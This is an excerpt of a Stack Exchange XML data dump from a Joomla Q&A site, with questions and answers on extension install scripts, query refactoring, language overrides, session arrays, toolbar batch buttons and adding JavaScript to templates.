LastEditorUserId="12352" LastEditDate="2019-02-02T13:18:40.747" LastActivityDate="2019-02-09T06:40:01.720" Title="How to refactor my iterated sequence of queries?" Tags="|php|mysql|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9486" PostTypeId="1" AcceptedAnswerId="9493" CreationDate="2015-04-16T06:14:09.420" Score="3" ViewCount="103" Body="&lt;p&gt;Now that Joomla supports multiple database platforms how does an extension check which database the user is deploying on and whether your extension will work with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do create platform specific install/uninstall scripts?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-04-18T06:47:24.790" Title="Building a component - database vendor neutral" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9487" PostTypeId="2" ParentId="9485" CreationDate="2015-04-16T07:19:06.177" Score="2" Body="&lt;p&gt;At least I see a way how to combine your first 2 select queries into one with the help of SQL JOIN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query-&amp;gt;select('sid')-&amp;gt;from('#__student')-&amp;gt;where('id = '.$pk);    &#xA;$db-&amp;gt;setQuery($query); &#xA;$sid = $db-&amp;gt;loadResult(); &#xA;$query-&amp;gt;clear();&#xA;&#xA;&#xA;//fetching the data of old entry from log table using sid&#xA;$query-&amp;gt;select('*')-&amp;gt;from('#__log')-&amp;gt;where('sid = '.$sid)-&amp;gt;where('pas= 0')-&amp;gt;where('stops=0');&#xA;$db-&amp;gt;setQuery($query); &#xA;$obj=$db-&amp;gt;loadObject('stdClass');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('l.*')&#xA;    -&amp;gt;from('#__log l')&#xA;    -&amp;gt;leftJoin('#__student s ON s.sid = l.sid')&#xA;    -&amp;gt;where('s.id = ' . (int) $pk)&#xA;    -&amp;gt;where('l.pas = 0')&#xA;    -&amp;gt;where('l.stops = 0')&#xA;$obj = $db-&amp;gt;setQuery($query)-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(not tested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a way to make your SELECT, UPDATE and INSERT in one step.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-04-16T08:42:11.343" LastActivityDate="2015-04-16T08:42:11.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9488" PostTypeId="1" CreationDate="2015-04-16T09:13:06.830" Score="0" ViewCount="163" Body="&lt;p&gt;I have been working on community poll joomla component for my website when user voting for some polls it shows below js error. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ReferenceError: poll is not defined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;why this error show is there any js conflicting or some settings from community poll component settings. please suggest some solution asap.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="3650" LastEditDate="2016-03-08T00:50:28.063" LastActivityDate="2016-04-07T23:22:00.583" Title="ReferenceError: poll is not defined for Community Poll joomla component" Tags="|component|joomla-3.4|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9489" PostTypeId="2" ParentId="9488" CreationDate="2015-04-16T11:47:41.723" Score="1" Body="&lt;p&gt;Issue is resolved.by replacing poll variable from npoll variable in anywhere .js because there is no poll variable is defined and npoll containing poll article value. thanks joomla beta this answer is accepted.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2015-04-16T11:47:41.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostTypeId="2" ParentId="9486" CreationDate="2015-04-16T13:28:10.877" Score="5" Body="&lt;p&gt;&lt;strong&gt;Script file&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Runs on install/uninstall/update; New in 2.5 --&amp;gt;&#xA;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In script file you can detect used driver:&lt;/p&gt;&#xA;&lt;p&gt;Joomla 2.5&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$dbtype = $app-&amp;gt;getCfg('dbtype');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla 3&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$dbtype = $app-&amp;gt;get('dbtype');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Depending on that, execute different code.&lt;/p&gt;&#xA;&lt;p&gt;Let's say you only support &lt;code&gt;mysql&lt;/code&gt;. Detect Joomla! database type on &lt;code&gt;preflight&lt;/code&gt; and check if it matches. If not, deny install.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;At this point you could conceivably prevent the installation by calling the abort mechanism from the parent or prepare anything ahead of the file copy and database changes occurring.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.joomla.org/Extension_Installer/Installer_Hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Extension_Installer/Installer_Hooks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Called before any type of action&#xA; *&#xA; * @param   string  $route  Which action is happening (install|uninstall|discover_install|update)&#xA; * @param   JAdapterInstance  $adapter  The object responsible for running this script&#xA; *&#xA; * @return  boolean  True on success&#xA; */&#xA;public function preflight($route, JAdapterInstance $adapter){&#xA;    &#xA;    $app = JFactory::getApplication(); &#xA;    $dbtype = $app-&amp;gt;get('dbtype');&#xA;&#xA;    if($dbtype != 'mysql'){&#xA;        JError::raiseWarning(null, 'This component dosen\'t support '.$dbtype.' database driver.');&#xA;&#xA;        // Prevent install&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Install / uninstall SQL files&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can create different files for different database drivers. Notice the &lt;code&gt;driver&lt;/code&gt; attribute on &lt;code&gt;file&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt; &amp;lt;!-- Runs on install --&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;uninstall&amp;gt; &amp;lt;!-- Runs on uninstall --&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Manifest_files#SQL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! docs&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update SQL files&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Same on update sql files, you can set &lt;code&gt;type&lt;/code&gt; attribute for every &lt;code&gt;schemapath&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;update&amp;gt; &amp;lt;!-- Runs on update; New since J2.5 --&amp;gt;&#xA;    &amp;lt;schemas&amp;gt;&#xA;        &amp;lt;schemapath type=&amp;quot;mysql&amp;quot;&amp;gt;sql/updates/mysql&amp;lt;/schemapath&amp;gt;&#xA;        &amp;lt;schemapath type=&amp;quot;sqlsrv&amp;quot;&amp;gt;sql/updates/sqlsrv&amp;lt;/schemapath&amp;gt;&#xA;    &amp;lt;/schemas&amp;gt;&#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Manifest_files#Update_of_the_SQL_schema&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! docs&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Support&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase#Supported_Storage_Connectors&quot; rel=&quot;nofollow noreferrer&quot;&gt;supported storage connectors&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-04-18T06:47:24.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9496" PostTypeId="1" AcceptedAnswerId="9497" CreationDate="2015-04-16T14:53:40.463" Score="1" ViewCount="266" Body="&lt;p&gt;I have updated a copy of my site from J2.5 to J3.4 on localhost, carefully checking, updating and/or replacing all components, modules, and plugins as needed, and the updated site works fine on localhost.&#xA;I then use Akeeba to take a backup of the localhost site, copied it up to the live site server and restored it.&#xA;Now I get error 500 - JHtmlBehavior: :mootools not supported. when I try to access the live site front end, and a white screen when I try to access the back end.&#xA;How do I proceed from here?&lt;/p&gt;&#xA;" OwnerUserId="4080" LastActivityDate="2015-04-16T14:58:53.070" Title="JHtmlBehaviour::mootools not supported error on live site server" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9497" PostTypeId="2" ParentId="9496" CreationDate="2015-04-16T14:58:53.070" Score="2" Body="&lt;p&gt;&lt;code&gt;JHTML::_('behavior.mootools');&lt;/code&gt; is the code you will need to look for. This was used up until Joomla 3.x, where is was changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest (on your localhost) you do a mass find with your text editor for the above code and once found, replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-16T14:58:53.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostTypeId="1" CreationDate="2015-04-16T21:16:47.613" Score="3" ViewCount="1149" Body="&lt;p&gt;Based on &lt;a href=&quot;https://www.yireo.com/tutorials/joomla/joomla-programming/721-load-a-custom-language-file-in-your-joomla-template?_=1423205542726%27A=0&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, I tried to create a template specific language override, trying to be able to override &lt;em&gt;any&lt;/em&gt; module or component. Basically, the idea is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a file called &lt;code&gt;JOOMLA/templates/MYTEMPLATE/language/en-GB/en-GB.custom.ini&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this to the template &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('custom' , dirname(__FILE__), $language-&amp;gt;getTag(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works, and the language file is loaded, BUT it seems to be loaded before any extension-specific language file, making it impossible to override e.g. &lt;code&gt;mod_login&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to do this, or some way to force the language file to be loaded last?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-16T22:10:13.317" Title="Override language strings from template" Tags="|joomla-3.x|overrides|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostTypeId="2" ParentId="9500" CreationDate="2015-04-16T22:10:13.317" Score="2" Body="&lt;p&gt;You can create general Language Overrides in Joomla backend, &lt;strong&gt;Extensions/Language Manager: Language Overrides&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search for a string to be translated and define a new value. Even, if it is not found (but you know the label), then you can just create a new Override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool is a simple way to create general language files in &lt;em&gt;language/overrides&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIP: You can even create overrides for default language labels. For example: language/overrides/en-GB.override.ini&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_CONTACT_EMAIL_FORM=&quot;&amp;lt;i class=&quot;_QQ_&quot;fa fa-envelope&quot;_QQ_&quot;&amp;gt;&amp;lt;/i&amp;gt;&quot;&#xA;COM_USERS_LOGIN_USERNAME_LABEL=&quot;Email&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-16T22:10:13.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9502" PostTypeId="2" ParentId="9471" CreationDate="2015-04-16T22:38:56.217" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Advanced Module Manager&lt;/strong&gt; has a thoughtful set of filters to show modules according several conditions. It can certainly help to dynamically show modules by country, region or state.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can test the Free version to better know how it works. However, &lt;strong&gt;Geolocating&lt;/strong&gt; (to assign modules by country, region or state) is a &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager#free-vs-pro&quot; rel=&quot;nofollow&quot;&gt;PRO feature&lt;/a&gt;. Also, the PRO version allows to integrate &lt;em&gt;Extra fields&lt;/em&gt; or &lt;em&gt;Custom PHP&lt;/em&gt; from the extended User Profile.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Concerning to Articles, Joomla does not have general Geolocation feature. Then, components cannot support it (unless they are built it for this specific purpouse). As a solution, Nonumber's Advanced Module Manager can be a gateway to display articles through modules. For example, &lt;a href=&quot;http://extensions.joomla.org/extension/article-placed-anywhere&quot; rel=&quot;nofollow&quot;&gt;Article Placed Anywhere&lt;/a&gt; module can help to replace the single article view. CON: Menu item options to configure component views are not going to be available for geolocation, only modules are going to be geolocated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-16T22:38:56.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9503" PostTypeId="2" ParentId="9387" CreationDate="2015-04-17T02:30:38.180" Score="1" Body="&lt;p&gt;Well I believe I had a similar problem once where I got random results. For me, the solution was using a synchronous request (instead of the asynchronous one, which you are using, too, if I am not mistaken). This is somewhat decreasing performance, but will force the request to be executed in an orderly fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found this &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; which explains and gives some examples. Try just changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xmlhttp.open(&quot;GET&quot;, &quot;index.php?option=com_contentimporter&amp;amp;task=contentimporter.test&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xmlhttp.open(&quot;GET&quot;, &quot;index.php?option=com_contentimporter&amp;amp;task=contentimporter.test&quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;false&quot; should make the request synchronous.&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="9471" LastEditDate="2019-04-18T09:00:55.513" LastActivityDate="2019-04-18T09:00:55.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9505" PostTypeId="1" AcceptedAnswerId="9507" CreationDate="2015-04-17T07:08:50.677" Score="5" ViewCount="799" Body="&lt;p&gt;hello all actually I'm developing a component for school in which i want to add a batch button for asking about fail &amp;amp; leave fail &amp;amp; reappear pass &amp;amp; promote, pass &amp;amp; leave and for this i want to add a batch button... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not so expertise in joomla development can anyone help me how to add a batch button i also try to copy batch code from articles view but not working. so i consider to learn it. HELP ME PLEASE &lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="154" LastEditDate="2015-10-21T05:47:36.343" LastActivityDate="2015-10-21T05:47:36.343" Title="How to add a batch button in Joomla?" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9506" PostTypeId="1" AcceptedAnswerId="9805" CreationDate="2015-04-17T07:14:49.217" Score="2" ViewCount="566" Body="&lt;p&gt;I added the data to Joomla session as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart['items'][] = array('id' =&amp;gt; 1, 'name' =&amp;gt; 'Laptop');&#xA;$cart['items'][] = array('id' =&amp;gt; 2, 'name' =&amp;gt; 'Tablet');&#xA;$session-&amp;gt;set('cart', $cart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to retrieve the data and use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart_result = $session-&amp;gt;get('cart');&#xA;echo $cart_result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get only the word &lt;strong&gt;Array&lt;/strong&gt;. How can I retrieve the data properly? Please write different options: for whole array and single row. I don't mean &lt;code&gt;echo print_r($cart_result, TRUE)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-17T09:47:10.680" LastActivityDate="2015-05-05T16:30:08.690" Title="How to retrieve an array from Joomla session table" Tags="|joomla-3.x|joomla-api|session|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9507" PostTypeId="2" ParentId="9505" CreationDate="2015-04-17T07:59:04.103" Score="7" Body="&lt;p&gt;Add this to your view.html.php to add the button to the toolbar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the toolbar object instance&#xA;$bar = JToolBar::getInstance('toolbar');&#xA;&#xA;JHtml::_('bootstrap.modal', 'collapseModal');&#xA;$title = JText::_('JTOOLBAR_BATCH');&#xA;&#xA;// Instantiate a new JLayoutFile instance and render the batch button&#xA;$layout = new JLayoutFile('joomla.toolbar.batch');&#xA;&#xA;$dhtml = $layout-&amp;gt;render(array('title' =&amp;gt; $title));&#xA;$bar-&amp;gt;appendButton('Custom', $dhtml, 'batch');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and put this into your default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal hide fade&quot; id=&quot;collapseModal&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;h3&amp;gt;My modal window&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;modal-body modal-batch&quot;&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to display an empty modal window with the heading &quot;My modal window&quot; when you click on the batch button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how the modal window for the articles view is build at /administrator/components/com_content/views/articles/tmpl/default_batch.php (but you probably know that already)&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-04-17T08:18:07.060" LastActivityDate="2015-04-17T08:18:07.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9508" PostTypeId="1" AcceptedAnswerId="9509" CreationDate="2015-04-17T09:20:37.910" Score="0" ViewCount="2670" Body="&lt;p&gt;I need to add this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;http://cdnjs.cloudflare.com/ajax/libs/fancybox/1.3.4/jquery.fancybox-1.3.4.css&quot; /&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    a.fancybox img {&#xA;        border: none;&#xA;        box-shadow: 0 1px 7px rgba(0,0,0,0.6);&#xA;        -o-transform: scale(1,1); -ms-transform: scale(1,1); -moz-transform: scale(1,1); -webkit-transform: scale(1,1); transform: scale(1,1); -o-transition: all 0.2s ease-in-out; -ms-transition: all 0.2s ease-in-out; -moz-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out;&#xA;    } &#xA;    a.fancybox:hover img {&#xA;        position: relative; z-index: 999; -o-transform: scale(1.03,1.03); -ms-transform: scale(1.03,1.03); -moz-transform: scale(1.03,1.03); -webkit-transform: scale(1.03,1.03); transform: scale(1.03,1.03);&#xA;    }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://code.jquery.com/jquery-1.11.0.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://code.jquery.com/jquery-migrate-1.2.1.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://cdnjs.cloudflare.com/ajax/libs/fancybox/1.3.4/jquery.fancybox-1.3.4.pack.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function($){&#xA;        var addToAll = false;&#xA;        var gallery = false;&#xA;        var titlePosition = 'inside';&#xA;        $(addToAll ? 'img' : 'img.fancybox').each(function(){&#xA;            var $this = $(this);&#xA;            var title = $this.attr('title');&#xA;            var src = $this.attr('data-big') || $this.attr('src');&#xA;            var a = $('&amp;lt;a href=&quot;#&quot; class=&quot;fancybox&quot;&amp;gt;&amp;lt;/a&amp;gt;').attr('href', src).attr('title', title);&#xA;            $this.wrap(a);&#xA;        });&#xA;        if (gallery)&#xA;            $('a.fancybox').attr('rel', 'fancyboxgallery');&#xA;        $('a.fancybox').fancybox({&#xA;            titlePosition: titlePosition&#xA;        });&#xA;    });&#xA;    $.noConflict();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for I can insert images with fancy box tag/class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;fancybox&quot; src=&quot;my-image.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already do that but I do not remember how, and now I upgraded joomla ro 3.4 from 3.3 and I don't work anymore...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4084" LastActivityDate="2015-04-17T14:20:05.723" Title="Where is &lt;body&gt; and &lt;head&gt; in joomla 3.4 folder, for I add js scripts" Tags="|joomla-3.x|images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9509" PostTypeId="2" ParentId="9508" CreationDate="2015-04-17T09:24:30.650" Score="2" Body="&lt;p&gt;The file you want to edit is located here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/templates/YOUR_TEMPLATE/index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If You're using a template based on a framework such as one from Rockettheme or Yootheme, the file may be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest however that you don't edit the template file, and instead create a small plugin to implement your code.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-17T09:24:30.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9510" PostTypeId="2" ParentId="9506" CreationDate="2015-04-17T10:43:58.767" Score="0" Body="&lt;p&gt;Ok I've some up with the following which will hopefully work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly, you need to define the session variable like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart_result = $session-&amp;gt;get('cart');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you will need to iterate though the array that gets returned, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$keys = array_keys($cart_result);&#xA;$count = count(array_shift(array_values($cart_result)));&#xA;&#xA;for ($i = 0; $i&amp;lt;$count; $i++) &#xA;{&#xA;    $results = array();&#xA;    foreach ($keys as $key) &#xA;    {&#xA;        $results[$key] = $cart_result[$key][$i];&#xA;    }&#xA;&#xA;    foreach ($results as $result)&#xA;    {&#xA;        echo $result['id'];&#xA;        echo $result['name'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the dump you provide in your comment, this will output the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 Laptop&#xA;2 Tablet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update (credit goes to @stckvrw)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For PHP 5.4+ where strict errors will be thrown, replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count = count(array_shift(array_values($cart_result)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tmp = array_values($cart_result);&#xA;$count = count(array_shift($tmp));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-04-17T11:26:52.270" LastActivityDate="2015-04-17T11:26:52.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9511" PostTypeId="2" ParentId="9508" CreationDate="2015-04-17T14:20:05.723" Score="2" Body="&lt;p&gt;First of all, you might want to remove the following line from your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://code.jquery.com/jquery-1.11.0.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla 3 includes jQuery, so you probably won't need it. Loading jQuery twice is like asking about trouble...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many plugins available at the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla! Extensions Directory&lt;/a&gt; that lets you insert custom scripts to your website. Try  a search for &quot;custom script&quot;. Maybe the plugin &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/head-script&quot; rel=&quot;nofollow&quot;&gt;Head Script&lt;/a&gt;&quot; is a good option for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to include custom code in Joomla (although arguably not the best or cleanest solution) is to use a module called &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;. It works exactly as the built-in custom HTML module, but does not filter your CSS/Javascript code. Simply paste your code in the module, publish it to an available module position on ALL pages, and make sure you set &quot;Display Title&quot; to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main advantage of using an extension instead of modifying your template code is that this will work with any template, even after upgrades.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-17T14:20:05.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
